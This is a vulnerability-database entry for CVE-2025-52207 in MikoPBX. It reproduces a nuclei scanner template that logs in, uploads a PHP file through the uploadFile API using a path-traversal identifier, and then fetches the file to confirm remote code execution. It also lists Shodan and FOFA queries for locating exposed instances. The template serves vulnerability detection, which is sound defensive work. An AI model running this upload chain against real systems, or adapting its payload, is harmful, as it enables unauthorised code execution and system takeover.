Lucene search
K

MikoPBX - Unrestricted File Upload

🗓️ 06 Jul 2026 03:02:03Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 18 Views

Authenticated unrestricted PHP file upload in MikoPBX allows remote code execution.

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-52207
27 Jun 202519:40
circl
CNNVD
MIKO MikoPBX 安全漏洞
27 Jun 202500:00
cnnvd
CVE
CVE-2025-52207
27 Jun 202500:00
cve
Cvelist
CVE-2025-52207
27 Jun 202500:00
cvelist
EUVD
EUVD-2025-19422
27 Jun 202500:00
euvd
NVD
CVE-2025-52207
27 Jun 202517:15
nvd
Positive Technologies
PT-2025-27246 · Mikopbx · Mikopbx
27 Jun 202500:00
ptsecurity
RedhatCVE
CVE-2025-52207
29 Jun 202500:06
redhatcve
Snyk
Relative Path Traversal
27 Jun 202517:43
snyk
VulnCheck KEV
VulnCheck KEV: CVE-2025-52207
26 Nov 202500:00
vulncheck_kev
Rows per page
id: CVE-2025-52207

info:
  name: MikoPBX - Unrestricted File Upload
  author: darses
  severity: critical
  description: |
    MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.
  impact: |
    Authenticated attackers can upload and execute arbitrary PHP scripts, leading to remote code execution and full system compromise.
  remediation: |
    Update to the latest version beyond 2024.1.114.
  reference:
    - https://github.com/mikopbx/Core/commit/3ee785429d3f1b33c9ab387ef4221127c9b8c5f3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
    cvss-score: 9.9
    cve-id: CVE-2025-52207
    cwe-id: CWE-23
    epss-score: 0.01465
    epss-percentile: 0.70518
  metadata:
    vendor: miko
    product: mikopbx
    shodan-query:
      - product:"mikopbx"
      - http.favicon.hash:8309143
      - title:"MikoPBX"
    fofa-query:
      - icon_hash="8309143"
      - title="MikoPBX"
  tags: cve,cve2025,miko,mikopbx,intrusive,authenticated,file-upload,vuln,vkev

variables:
  filename: "{{to_lower(rand_base(8))}}"
  filecontent: "<?php echo(base64_encode(\"{{filename}}\")); ?>"

flow: http(1) && http(2) && http(3)


http:
  - raw:
      - |
        POST /admin-cabinet/session/start HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        WebAdminLanguage=en&login={{username}}&password={{password}}&rememberMeCheckBox=false&backUri=%2F

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'BreadcrumbSessionstart')
          - contains(content_type, 'text/html')
          - status_code == 200
        condition: and
        internal: true

  - raw:
      - |
        POST /pbxcore/api/files/uploadFile HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------{{filename}}
        Accept-Encoding: gzip

        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableFilename"

        {{filename}}.php
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableIdentifier"

        ../files_cache/{{filename}}
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        {{filecontent}}
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableChunkNumber"

        1
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableTotalChunks"

        1
        -----------------------------{{filename}}
        Content-Disposition: form-data; name="resumableTotalSize"

        {{len(filecontent)}}
        -----------------------------{{filename}}--


    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "{\"jsonapi\":{\"version\":\"1.0\"},\"result\":true,\"data\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: upload_path
        json:
          - .data.filename
        internal: true

      - type: dsl
        name: extracted_path
        dsl:
          - replace_regex(upload_path, "(.*\/files_cache)\/", "")
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/pbxcore/files/cache/{{extracted_path}}?{{wait_for(3)}}"

    matchers:
      - type: dsl
        dsl:
          - body==base64(filename)
          - status_code==200
        condition: and
# digest: 4b0a00483046022100d22872c449770a8c1521d4da156db65df7d12c35c2305b12f2ae5e9594d6602e022100f017c5ef3348a910c8e2dd81f1441d23310c93dfd1620efe9b887fe30a3d541c:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.9
EPSS0.01465
SSVC
18